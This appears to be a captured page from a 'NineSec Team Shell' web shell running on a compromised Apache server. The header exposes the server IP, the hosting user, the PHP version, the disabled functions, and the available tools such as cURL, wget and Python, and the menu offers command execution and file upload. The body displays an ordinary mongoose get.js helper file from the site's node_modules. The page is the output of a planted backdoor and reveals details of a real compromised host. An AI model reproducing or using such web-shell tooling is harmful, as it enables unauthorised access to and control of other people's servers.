NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/mongoose/lib/helpers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/mongoose/lib/helpers/get.js
'use strict';

/**
 * Simplified lodash.get to work around the annoying null quirk. See:
 * https://github.com/lodash/lodash/issues/3659
 * @api private
 */

module.exports = function get(obj, path, def) {
  let parts;
  let isPathArray = false;
  if (typeof path === 'string') {
    if (path.indexOf('.') === -1) {
      const _v = getProperty(obj, path);
      if (_v == null) {
        return def;
      }
      return _v;
    }

    parts = path.split('.');
  } else {
    isPathArray = true;
    parts = path;

    if (parts.length === 1) {
      const _v = getProperty(obj, parts[0]);
      if (_v == null) {
        return def;
      }
      return _v;
    }
  }
  let rest = path;
  let cur = obj;
  for (const part of parts) {
    if (cur == null) {
      return def;
    }

    // `lib/cast.js` depends on being able to get dotted paths in updates,
    // like `{ $set: { 'a.b': 42 } }`
    if (!isPathArray && cur[rest] != null) {
      return cur[rest];
    }

    cur = getProperty(cur, part);

    if (!isPathArray) {
      rest = rest.substr(part.length + 1);
    }
  }

  return cur == null ? def : cur;
};

function getProperty(obj, prop) {
  if (obj == null) {
    return obj;
  }
  if (obj instanceof Map) {
    return obj.get(prop);
  }
  return obj[prop];
}

NineSec Team - 2022